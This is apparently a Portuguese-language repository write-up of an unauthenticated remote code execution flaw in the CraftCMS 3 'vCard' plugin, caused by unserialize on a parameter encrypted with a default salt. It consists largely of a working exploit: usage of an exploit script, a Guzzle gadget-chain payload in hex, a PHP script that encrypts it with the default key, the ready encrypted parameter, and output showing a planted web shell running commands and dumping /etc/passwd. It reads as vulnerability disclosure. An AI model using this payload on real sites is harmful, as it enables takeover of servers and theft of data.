
Este repositório contém detalhes sobre uma vulnerabilidade encontrada no plugin "vCard" para CraftCMS 3.
O Craft CMS possui um plugin para baixar contatos no formato de arquivo *.vcf intitulado "vCard". O plugin pode ser revisado no repositório do Craft e no Github: Craft Plugin Store Github
Este plugin recebe um parâmetro enviado pelo cliente, descriptografa o valor com openssl_decrypt e então insere a string resultante na função unserialize do PHP. Como o salt padrão para a criptografia está disponível no repositório, um atacante pode usar a mesma lógica para criptografar uma carga serializada maliciosa.
Se o usuário tiver um valor de "salt" modificado configurado nas definições do plugin, esse valor precisará ser fornecido como parâmetro para o script Python. No entanto, esse valor permanecerá inalterado se o plugin for baixado da plugin store ou se o repositório for apenas clonado. Não há opção de alterá-lo pela interface web do Craft.
Execute o script fornecendo o link do vCard que aciona o download de contatos. Remova o valor do parâmetro vcard.
O parâmetro para o script seria então: "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
$ ./exploit_vcard.py -u "http://craftcms/index.php?p=actions/vcard/default/index&vcard="
Deserialization has been triggered, navigate to craftCMS webroot/shell.php
Use GET parameter 'cmd' to execute commands
Example: http://craftcms/shell.php?cmd=ls%20-al;whoami;ip%20a
Há um valor de salt opcional que pode ser fornecido. Todas as opções são exibidas aqui:
usage: exploit_vcard.py [-h] -u URL [-s SALT] [-f FNAME]
Unauthenticated RCE for CraftCMS vCard Plugin
optional arguments:
-h, --help show this help message and exit
-u URL The URL for the vCard download without the vCard value Example:
http://craftcms/index.php?p=actions/vcard/default/index&vcard=
-s SALT Security key required for encrypting payload. Defaul is
's34s4L7'
-f FNAME File path/name to use as value in upload path: ./<value> . Use a
PHP extension. Default value is 'shell.php'
O script Python foi testado no Python 3.6
O script executará um comando PHP no host do atacante para criptografar a carga. Como resultado, o php-cli precisará estar instalado. Este ataque foi testado com PHP 7.2-cli e PHP 7.3-cli
Aqui está um trecho de onde o código desserializa de forma insegura (VCardService.php:297) Github:
public function decodeUrlParam($optionsString = "")
{
$optionsString = $this->decrypt($optionsString);
$options = unserialize($optionsString);
return $options;
}
O parâmetro $optionsString é o valor do parâmetro de URL "vcard" fornecido pelo cliente. Ele é passado pela função decrypt e depois desserializado. Se o cliente conseguir imitar a criptografia, esse código fica vulnerável, pois desserializa diretamente dados fornecidos pelo usuário.
Aqui está a função de criptografia em questão (VCardService.php:306) Github:
protected function encrypt($string)
{
$key = VCard::$plugin->getSettings()->salt;
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
return rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
}
O único valor que um atacante precisa conhecer é a variável $key definida por "VCard::$plugin->getSettings()->salt". O valor padrão pode ser visto no repositório como "s34s4L7" (config.php:26) Github
Supondo que o salt padrão seja usado, um atacante pode forçar a desserialização de qualquer classe na instalação do Craft.
Precisamos encontrar uma classe "gadget" na instalação padrão do Craft que possa ser usada para fins maliciosos. Revisar quais classes possuem funções mágicas __destruct ou __wakeup fornece uma lista pequena o suficiente para análise. Isso pode ser feito usando "grep -rni < path to web root > -e '__destruct'"
O guzzlehttp possui uma classe chamada "FileCookieJar" que parece salvar um arquivo usando um atributo da classe como nome de arquivo:
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php:38: public function __destruct()
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-39- {
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-40- $this->save($this->filename);
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-41- }
./vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php-42-
Investigar a função save mostra que ela grava dados em um caminho de arquivo do sistema, sendo o caminho e os dados ambos atributos da classe e sob controle do atacante. Faz sentido que, quando esse objeto de classe é destruído, ele grave quaisquer cookies que tivesse no atributo de nome de arquivo para que possam ser recuperados ou usados posteriormente. Aqui estão os conteúdos da função save, com file_put_contents sendo nosso alvo (FileCookieJar.php:52) Github:
public function save($filename)
{
$json = [];
foreach ($this as $cookie) {
/** @var SetCookie $cookie */
if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
$json[] = $cookie->toArray();
}
}
$jsonStr = \GuzzleHttp\json_encode($json);
if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
throw new \RuntimeException("Unable to save file {$filename}");
}
}
Felizmente, não precisamos fazer o trabalho manual para construir a carga maliciosa nós mesmos. A maravilhosa ferramenta PHPGGC automatiza a serialização de uma classe Guzzle com uma carga para usarmos neste exploit.
Usei a ferramenta para criar esta carga base para o script de exploit, embora ela seja modificada ligeiramente dependendo do nome do arquivo. Além disso, é importante notar que, ao gerar uma nova carga com PHPGGC, o parâmetro "-f" deve ser usado, caso contrário a função mágica __destruct não será executada:
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f
a:2:{i:7;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:41:"GuzzleHttp\Cookie\FileCookieJarfilename";s:11:"./shell.php";s:52:"GuzzleHttp\Cookie\FileCookieJarstoreSessionCookies";b:1;s:36:"GuzzleHttp\Cookie\CookieJarcookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:33:"GuzzleHttp\Cookie\SetCookiedata";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:67:"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
";}}}s:39:"GuzzleHttp\Cookie\CookieJarstrictMode";N;}i:7;i:7;}
O conteúdo do sample.txt é:
<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
Tenha cuidado: copiar e colar normalmente não funcionará aqui, pois há bytes nulos na classe serializada que precisam estar lá para que os atributos sejam mapeados corretamente. Tive que converter a saída bruta da ferramenta em hexadecimal e depois converter de volta para string, imitando o processo de criptografia. Aqui está o bash usado para obter a carga hexadecimal.
craft@craftcms:~/phpggc$ ./phpggc Guzzle/FW1 "./shell.php" ./sample.txt -f | xxd | cut -d " " -f 2-9 | tr -d " \n"
613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d0a
Pode haver um byte "0A" no final da carga gerada. Se houver, remova-o. De qualquer forma, agora que temos uma carga do PHPGGC e a convertemos para hexadecimal, precisamos criptografá-la antes de enviá-la à função vulnerável do plugin. Copiando a lógica da função de criptografia do vCard mencionada anteriormente, basta converter nossa carga hexadecimal e criptografar. Aqui está o script PHP que usei:
<?php
$string = hex2bin("613a323a7b693a373b4f3a33313a2247757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a6172223a343a7b733a34313a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720066696c656e616d65223b733a31313a222e2f7368656c6c2e706870223b733a35323a220047757a7a6c65487474705c436f6f6b69655c46696c65436f6f6b69654a61720073746f726553657373696f6e436f6f6b696573223b623a313b733a33363a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a617200636f6f6b696573223b613a313a7b693a303b4f3a32373a2247757a7a6c65487474705c536574436f6f6b6965223a313a7b733a33333a220047757a7a6c65487474705c536574436f6f6b69650064617461223b613a333a7b733a373a2245787069726573223b693a313b733a373a2244697363617264223b623a303b733a353a2256616c7565223b733a36373a223c7072653e3c3f70687020696628697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b202020207d203f3e0a223b7d7d7d733a33393a220047757a7a6c65487474705c436f6f6b69655c436f6f6b69654a6172007374726963744d6f6465223b4e3b7d693a373b693a373b7d");
$key = "s34s4L7";
$key = md5( $key );
$iv = substr( md5( $key ), 0, 16);
$string2 = rtrim(
strtr(
base64_encode(
openssl_encrypt( $string, 'aes128', md5( $key ), true, $iv )
),
'+/', '-_'
), '='
);
echo "Encrypted parameter:\n" . $string2 . "\n\n";
?>
E a saída resultante:
craft@craftcms:/var/www/vendor/nfourtythree/vcard/src/services$ php encrypt.php
Encrypted parameter:
cNSH6Xu6XhGYYF8RHWjebL5TCVv32vqkNqZoh2Vt-eUgQ_dEw89U4X3av54G7mCWXiXxvzT9uGbXZzRmjKYDdPbeXSUBoNgPDsqqD0Ujj1tUuixk_fkswxCswFhL0dB6gddLdNPdgZcHEIHWOtlseKfcD8I8yWrr6i3OCEXt2gyXGZQwm_J9oSXE0I6piFT73vLrhwo06DLhO9gDxIqpZGzI9KTQv3p5oc7FypzF-f3lE_i8k8PUJDO22WEObPH71LYfhrq2FnSv3sgcfrKTmHmmiZFcV4hBY7l1Lrluyxg7FDVR4KSbUZYSKo6O7JnexhghdcJ6z1oqZJ7qVgarPo1zIfT0dIUs5CfVXjzpNcuz3WYVY5ekzjZs79aN-lGMrh2o-ZWpVFnGcunRcZOBNn-BzO88pAl9z4yL_tz_BFyH1WKfKHhgTMlpC73exQNHBiJevfne4EOV6A_rUzIRgzceoIssYpEQQxj2GY9hXzY8GEtn4O0x0BAA4GUe59PxNVh5oLQSC1h0vCJ5Bsmr33HAetLk9dZO0_6Mt4gaZikbjXLTE5obC0gnv7qdVZB80bQaKgpzzXjQOBRcXxGr5GUzmrwqU6gBSfcq_4GpCot7asDo7Sj2t7esUGDniV25Of_bzdz1Dqldc87cKYd42LxPx01oqpCTn0vtNL-loPY
Finalmente! Agora que temos nossa carga, basta enviá-la em uma requisição e o shell estará disponível. O link para um download de vCard válido varia. Aqui está um exemplo da minha implantação de teste:
O valor do parâmetro vcard é removido e substituído pelo nosso valor malicioso:
A string passa como $optionsString, é descriptografada e então desserializada, causando um erro interno do servidor. A revisão do sistema de arquivos do servidor web de teste mostra que um novo arquivo shell.php foi criado:
craft@craftcms:/var/www/html$ ls
cpresources index.php shell.php web.config
craft@craftcms:/var/www/html$ cat shell.php
[{"Expires":1,"Discard":false,"Value":"<pre><?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>\n"}]
craft@craftcms:/var/www/html$
Ao visitar http://craftcms/shell.php no meu navegador, agora posso passar comandos de sistema através do parâmetro GET cmd.
[{"Expires":1,"Discard":false,"Value":"<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Geração de Gadgets PHP: https://github.com/ambionics/phpggc
Plugin vCard: https://github.com/nfourtythree/craft3-vcard
Craft CMS: https://craftcms.com/
Documentação do unserialize: https://www.php.net/manual/en/function.unserialize.php